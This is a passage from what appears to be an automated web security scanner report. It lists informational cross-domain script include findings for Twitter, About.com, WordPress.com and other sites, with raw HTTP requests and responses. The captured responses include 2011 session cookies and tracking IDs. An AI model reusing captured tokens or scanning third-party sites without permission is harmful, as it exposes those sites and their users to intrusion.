Content-Type: text/html; charset=utf-8
Content-Length: 60206
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1296945708188753; path=/; expires=Sat, 12-Feb-11 22:41:48 GMT; domain=.twitter.com
Set-Cookie: guest_id=129694570819625750; path=/; expires=Mon, 07 Mar 2011 22:41:48 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCKX8%252FPctAToHaWQiJWZiYWE2NTExMzU3MTU2%250AODhmODhmNjIyMTc3MTIxOTU0IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--41b706acf658b115a8b0aaba3804015520340aec; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...
</div>

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"></script>
<script src="http://a2.twimg.com/a/1296843226/javascripts/twitter.js?1296849139" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/lib/jquery.tipsy.min.js?1296849139" type="text/javascript"></script>
<script type='text/javascript' src='http://www.google.com/jsapi'></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/lib/gears_init.js?1296849139" type="text/javascript"></script>
<script src="http://a2.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296849139" type="text/javascript"></script>
<script src="http://a3.twimg.com/a/1296843226/javascripts/geov1.js?1296849139" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/api.js?1296849139" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://a2.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296849139" type="text/javascript"></script>
<script src="http://a3.twimg.com/a/1296843226/javascripts/dismissable.js?1296849139" type="text/javascript"></script>
...[SNIP]...

21.102. http://twitter.com/owneriq previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://twitter.com
Path:	/owneriq

Issue detail

The response dynamically includes the following scripts from other domains:

http://a0.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296891594
http://a1.twimg.com/a/1296843226/javascripts/dismissable.js?1296891594
http://a1.twimg.com/a/1296843226/javascripts/geov1.js?1296891594
http://a1.twimg.com/a/1296843226/javascripts/twitter.js?1296891594
http://a3.twimg.com/a/1296843226/javascripts/api.js?1296891594
http://a3.twimg.com/a/1296843226/javascripts/lib/gears_init.js?1296891594
http://a3.twimg.com/a/1296843226/javascripts/lib/jquery.tipsy.min.js?1296891594
http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js
http://www.google.com/jsapi

Request

GET /owneriq HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 22:41:46 GMT
Server: hi
Status: 200 OK
X-Transaction: Sat Feb 05 22:41:46 +0000 2011-177-38107
ETag: "3b98753c7a9afa70f5b47cbe55fbd34d"
Last-Modified: Sat, 05 Feb 2011 22:41:46 GMT
X-Runtime: 0.00745
Content-Type: text/html; charset=utf-8
Content-Length: 49734
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1296945706972339; path=/; expires=Sat, 12-Feb-11 22:41:46 GMT; domain=.twitter.com
Set-Cookie: guest_id=129694570698256586; path=/; expires=Mon, 07 Mar 2011 22:41:46 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTAxOTg5ZTQwNDI2NWFmODgwNDFiY2ZlNDhhYzRlNmMyIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsI6Pf89y0B--7ec0c9d885ab1c36d31391ef5f8dd6b7dc09b362; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...
</div>

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/twitter.js?1296891594" type="text/javascript"></script>
<script src="http://a3.twimg.com/a/1296843226/javascripts/lib/jquery.tipsy.min.js?1296891594" type="text/javascript"></script>
<script type='text/javascript' src='http://www.google.com/jsapi'></script>
<script src="http://a3.twimg.com/a/1296843226/javascripts/lib/gears_init.js?1296891594" type="text/javascript"></script>
<script src="http://a0.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296891594" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/geov1.js?1296891594" type="text/javascript"></script>
<script src="http://a3.twimg.com/a/1296843226/javascripts/api.js?1296891594" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://a0.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296891594" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/dismissable.js?1296891594" type="text/javascript"></script>
...[SNIP]...

21.103. http://twitter.com/tipd previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://twitter.com
Path:	/tipd

Issue detail

The response dynamically includes the following scripts from other domains:

http://a0.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296854632
http://a0.twimg.com/a/1296843226/javascripts/twitter.js?1296854632
http://a1.twimg.com/a/1296843226/javascripts/dismissable.js?1296854632
http://a1.twimg.com/a/1296843226/javascripts/geov1.js?1296854632
http://a3.twimg.com/a/1296843226/javascripts/api.js?1296854632
http://a3.twimg.com/a/1296843226/javascripts/lib/gears_init.js?1296854632
http://a3.twimg.com/a/1296843226/javascripts/lib/jquery.tipsy.min.js?1296854632
http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js
http://www.google.com/jsapi

Request

GET /tipd HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sun, 06 Feb 2011 16:04:59 GMT
Server: hi
Status: 200 OK
X-Transaction: Sun Feb 06 16:04:59 +0000 2011-13423-17119
ETag: "e708862f325a33615acc11e3cbe342ac"
Last-Modified: Sun, 06 Feb 2011 16:04:59 GMT
X-Runtime: 0.00541
Content-Type: text/html; charset=utf-8
Content-Length: 48007
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1297008299249903; path=/; expires=Sun, 13-Feb-11 16:04:59 GMT; domain=.twitter.com
Set-Cookie: guest_id=129700829925695163; path=/; expires=Tue, 08 Mar 2011 16:04:59 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCPkMuPstAToHaWQiJWNhNzJmNDk3MWFmM2I0%250AYmNhYWE5OGUyOWNiZDUzNjhjIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--10750576955489608e16b235f232e55307bee9f6; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...
</div>

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"></script>
<script src="http://a0.twimg.com/a/1296843226/javascripts/twitter.js?1296854632" type="text/javascript"></script>
<script src="http://a3.twimg.com/a/1296843226/javascripts/lib/jquery.tipsy.min.js?1296854632" type="text/javascript"></script>
<script type='text/javascript' src='http://www.google.com/jsapi'></script>
<script src="http://a3.twimg.com/a/1296843226/javascripts/lib/gears_init.js?1296854632" type="text/javascript"></script>
<script src="http://a0.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296854632" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/geov1.js?1296854632" type="text/javascript"></script>
<script src="http://a3.twimg.com/a/1296843226/javascripts/api.js?1296854632" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://a0.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296854632" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/dismissable.js?1296854632" type="text/javascript"></script>
...[SNIP]...

21.104. http://twitter.com/tipd previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://twitter.com
Path:	/tipd

Issue detail

The response dynamically includes the following scripts from other domains:

http://a1.twimg.com/a/1296843226/javascripts/api.js?1296849139
http://a1.twimg.com/a/1296843226/javascripts/lib/gears_init.js?1296849139
http://a1.twimg.com/a/1296843226/javascripts/lib/jquery.tipsy.min.js?1296849139
http://a2.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296849139
http://a2.twimg.com/a/1296843226/javascripts/twitter.js?1296849139
http://a3.twimg.com/a/1296843226/javascripts/dismissable.js?1296849139
http://a3.twimg.com/a/1296843226/javascripts/geov1.js?1296849139
http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js
http://www.google.com/jsapi

Request

GET /tipd HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sun, 06 Feb 2011 17:31:42 GMT
Server: hi
Status: 200 OK
X-Transaction: Sun Feb 06 17:31:42 +0000 2011-36103-47879
ETag: "3b6f3d1d0107225f4f7e06dede2f0f60"
Last-Modified: Sun, 06 Feb 2011 17:31:42 GMT
X-Runtime: 0.00975
Content-Type: text/html; charset=utf-8
Content-Length: 48006
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1297013502815618; path=/; expires=Sun, 13-Feb-11 17:31:42 GMT; domain=.twitter.com
Set-Cookie: guest_id=129701350282594318; path=/; expires=Tue, 08 Mar 2011 17:31:42 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCGpzB%252FwtAToHaWQiJTIzMWQwYTYyZDAyZDgx%250AZGEwYWZhZGYxOGNjN2QxNjQ2IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--66fb0e0725c61d5144dd6c4ba387594c8406df8c; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...
</div>

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"></script>
<script src="http://a2.twimg.com/a/1296843226/javascripts/twitter.js?1296849139" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/lib/jquery.tipsy.min.js?1296849139" type="text/javascript"></script>
<script type='text/javascript' src='http://www.google.com/jsapi'></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/lib/gears_init.js?1296849139" type="text/javascript"></script>
<script src="http://a2.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296849139" type="text/javascript"></script>
<script src="http://a3.twimg.com/a/1296843226/javascripts/geov1.js?1296849139" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/api.js?1296849139" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://a2.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296849139" type="text/javascript"></script>
<script src="http://a3.twimg.com/a/1296843226/javascripts/dismissable.js?1296849139" type="text/javascript"></script>
...[SNIP]...

21.105. http://vegetarian.about.com/od/soupsstewsandchili/r/hotandsour.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vegetarian.about.com
Path:	/od/soupsstewsandchili/r/hotandsour.htm

Issue detail

The response dynamically includes the following scripts from other domains:

http://0.tqn.com/0/js/cj017x14t421p9.js?rdv=j22
http://an.tacoda.net/an/11775/slf.js
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /od/soupsstewsandchili/r/hotandsour.htm HTTP/1.1
Host: vegetarian.about.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:51 GMT
Server: Apache
Set-Cookie: TMog=B25Lon3f20kA050C; domain=.about.com; path=/; expires=Sun, 13-May-12 20:59:30 GMT
Set-Cookie: Mint=B25Lon3f20kA050C; domain=.about.com; path=/
Set-Cookie: zBT=1; domain=.about.com; path=/
Vary: *
PRAGMA: no-cache
P3P: CP="IDC DSP COR DEVa TAIa OUR BUS UNI"
Cache-Control: max-age=-3600
Expires: Sat, 05 Feb 2011 20:52:51 GMT
Keep-Alive: timeout=15, max=82
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 28845

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en"><head><meta http-equiv="X-UA-Compatible" content="chrome=1"><m
...[SNIP]...
</script>
<script language="JavaScript" src="http://0.tqn.com/0/js/cj017x14t421p9.js?rdv=j22"></script>
...[SNIP]...
</script>
<script language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://an.tacoda.net/an/11775/slf.js"></script>
...[SNIP]...

21.106. http://redacted/MRT/iview/264255445/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/MRT/iview/264255445/direct

Issue detail

The response dynamically includes the following script from another domain:

http://ar.voicefive.com/bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637168

Request

Response

21.107. http://redacted/MRT/iview/264255445/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/MRT/iview/264255445/direct

Issue detail

The response dynamically includes the following script from another domain:

http://ar.voicefive.com/bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637072

Request

Response

21.108. http://redacted/MRT/iview/264255445/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/MRT/iview/264255445/direct

Issue detail

The response dynamically includes the following script from another domain:

http://ar.voicefive.com/bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637120

Request

GET /MRT/iview/264255445/direct HTTP/1.1
Host: redacted
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F;

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 6287
Content-Type: text/html
Expires: 0
Connection: close
Date: Sun, 06 Feb 2011 16:01:46 GMT
Connection: close

<html><head><title>DYN_Launch_Dashboards_300x250_v2</title>
<meta HTTP-EQUIV="expires" CONTENT="0"></meta>
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache"></meta>
</head><body style="border-width:0px;
...[SNIP]...
</noscript>
<script src="http://ar.voicefive.com/bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637120"></script>
...[SNIP]...

21.109. http://redacted/MRT/jview/267859374/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/MRT/jview/267859374/direct

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://metrixlablw.customers.luna.net/p10833/tagger_v03.php?project=p10833&tag=1a&channel=[sid=267859374|cid=193167493|]
http://www.googleadservices.com/pagead/conversion.js

Request

Response

21.110. http://redacted/MRT/jview/267859374/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/MRT/jview/267859374/direct

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://metrixlablw.customers.luna.net/p10833/tagger_v03.php?project=p10833&tag=1a&channel=[sid=267859374|cid=193167511|]
http://www.googleadservices.com/pagead/conversion.js

Request

GET /MRT/jview/267859374/direct HTTP/1.1
Host: redacted
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: AA002=1294100002-3786607; MUID=DC63BAA44C3843F38378B4BB213E0A6F;

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 7219
Content-Type: text/javascript
Expires: 0
Connection: close
Date: Sun, 06 Feb 2011 17:21:00 GMT
Connection: close

document.write("<meta HTTP-EQUIV='expires' CONTENT='0'></meta>");
document.write("<meta HTTP-EQUIV='Pragma' CONTENT='no-cache'></meta>");

var nRequiredVersion = 8;
var bIsRightVersion = fal
...[SNIP]...
</a>';
}

document.write(_strContentITP1291069199487);

document.write ('<script src="http://metrixlablw.customers.luna.net/p10833/tagger_v03.php?project=p10833&tag=1a&channel=[sid=267859374|cid=193167511|]"></script>');
document.write ('<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>');
document.write ('<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

21.111. http://redacted/MRT/jview/267859374/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://redacted
Path:	/MRT/jview/267859374/direct

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://metrixlablw.customers.luna.net/p10833/tagger_v03.php?project=p10833&tag=1a&channel=[sid=267859374|cid=193167499|]
http://www.googleadservices.com/pagead/conversion.js

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Length: 7216
Content-Type: text/javascript
Expires: 0
Connection: close
Date: Sun, 06 Feb 2011 16:01:45 GMT
Connection: close

document.write("<meta HTTP-EQUIV='expires' CONTENT='0'></meta>");
document.write("<meta HTTP-EQUIV='Pragma' CONTENT='no-cache'></meta>");

var nRequiredVersion = 8;
var bIsRightVersion = fal
...[SNIP]...
</a>';
}

document.write(_strContentITP1291065774361);

document.write ('<script src="http://metrixlablw.customers.luna.net/p10833/tagger_v03.php?project=p10833&tag=1a&channel=[sid=267859374|cid=193167499|]"></script>');
document.write ('<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script>
...[SNIP]...
</script>');
document.write ('<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

21.112. http://vodpod.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vodpod.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://assets.vpimg.net/javascripts/jquery/jquery.delayedobserver.js?b55291c2
http://assets.vpimg.net/javascripts/jquery_cache.js?b55291c2
http://assets.vpimg.net/javascripts/molt/hoverbox-v2.js?b55291c2
http://edge.quantserve.com/quant.js
http://partner.googleadservices.com/gampad/google_service.js

Request

GET / HTTP/1.1
Host: vodpod.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.8.50
Date: Sat, 05 Feb 2011 22:41:50 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
Set-Cookie: _vodpod_session=BAh7BzoNa21fcXVldWVbADoPc2Vzc2lvbl9pZCIlMzdmZTE1ODhlYTMwOTU4NjQ4NjYzYmVhZTA2ODFiZDk%3D--8aa84a60618c509dc1cfcb88d554fecb0caa5d77; path=/; expires=Tue, 01-Jan-2030 06:00:00 GMT; HttpOnly
Status: 200
ETag: "9562b64a9f1a18bb37a9c789ca9d17d5"
X-Runtime: 63
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 54042
P3P: policyref="http://facebook.vodpod.com/w3c/p3p.xml", CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
</script>
...[SNIP]...


<script src="http://assets.vpimg.net/javascripts/jquery_cache.js?b55291c2" type="text/javascript"></script>
...[SNIP]...
</script>

<script src="http://assets.vpimg.net/javascripts/molt/hoverbox-v2.js?b55291c2" type="text/javascript"></script>
<script src="http://assets.vpimg.net/javascripts/jquery/jquery.delayedobserver.js?b55291c2" type="text/javascript"></script>
...[SNIP]...

<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

21.113. http://wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://wirtschaftsthemen.net
Path:	/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html HTTP/1.1
Host: wirtschaftsthemen.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:05:11 GMT
Server: Apache
Vary: Accept-Encoding,Cookie
Cache-Control: max-age=300, must-revalidate
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 22141

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head pro
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.114. http://wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://wirtschaftsthemen.net
Path:	/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html HTTP/1.1
Host: wirtschaftsthemen.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:05:12 GMT
Server: Apache
Vary: Accept-Encoding,Cookie
Cache-Control: max-age=300, must-revalidate
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 21705

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head pro
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.115. http://wordpress.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://wordpress.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://b.scorecardresearch.com/beacon.js
http://edge.quantserve.com/quant.js
http://s.gravatar.com/js/gprofiles.js?o&ver=MU
http://s0.wp.com/wp-content/themes/h4/tabs/tab.js?m=1293717910g&ver=MU
http://s1.wp.com/wp-includes/js/jquery/jquery.js?m=1290133841g&ver=1.4.4
http://s2.wp.com/wp-includes/js/l10n.js?m=1295648996g&ver=20101110

Request

GET / HTTP/1.1
Host: wordpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 22:41:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Last-Modified: Sat, 05 Feb 2011 22:40:36 +0000
Cache-Control: max-age=225, must-revalidate
Vary: Cookie
X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
X-Pingback: http://wordpress.com/xmlrpc.php
Link: <http://wp.me/1>; rel=shortlink
X-nananana: Batcache
Content-Length: 38111

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><!--
generated
...[SNIP]...
<link rel='stylesheet' id='grunion.css-css' href='http://s1.wp.com/wp-content/mu-plugins/grunion-contact-form-2.0/css/grunion.css?m=1296500193g&ver=MU' type='text/css' media='all' />
<script type='text/javascript' src='http://s2.wp.com/wp-includes/js/l10n.js?m=1295648996g&ver=20101110'></script>
<script type='text/javascript' src='http://s1.wp.com/wp-includes/js/jquery/jquery.js?m=1290133841g&ver=1.4.4'></script>
<script type='text/javascript' src='http://s0.wp.com/wp-content/themes/h4/tabs/tab.js?m=1293717910g&ver=MU'></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
</noscript>
<script type='text/javascript' src='http://s.gravatar.com/js/gprofiles.js?o&ver=MU'></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://b.scorecardresearch.com/beacon.js"></script>
...[SNIP]...

21.116. http://www.addthis.com/bookmark.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.addthis.com
Path:	/bookmark.php

Issue detail

The response dynamically includes the following script from another domain:

http://cache.addthiscdn.com/www/q0205/js/bookmark.js

Request

GET /bookmark.php HTTP/1.1
Host: www.addthis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.117. http://www.addtoany.com/email previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.addtoany.com
Path:	/email

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.recaptcha.net/challenge?k=6Le43wIAAAAAAFS_Sr3GAUqguPeT5TY4fDrUbYM4
http://www.plaxo.com/css/m/js/abc_launcher.js
http://www.plaxo.com/css/m/js/basic.js
http://www.plaxo.com/css/m/js/util.js

Request

GET /email HTTP/1.1
Host: www.addtoany.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:38:21 GMT
Server: Apache
Content-Type: text/html
Via: 1.1 vhost.phx1.nearlyfreespeech.net:3128 (squid/2.7.STABLE7)
Connection: close
Content-Length: 8520

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<titl
...[SNIP]...
<link rel="shortcut icon" href="favicon.ico">
<script type="text/javascript" src="http://www.plaxo.com/css/m/js/util.js"></script>
<script type="text/javascript" src="http://www.plaxo.com/css/m/js/basic.js"></script>
<script type="text/javascript" src="http://www.plaxo.com/css/m/js/abc_launcher.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://api.recaptcha.net/challenge?k=6Le43wIAAAAAAFS_Sr3GAUqguPeT5TY4fDrUbYM4"></script>
...[SNIP]...

21.118. https://www.aeprepaid.com/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.aeprepaid.com
Path:	/index.cfm

Issue detail

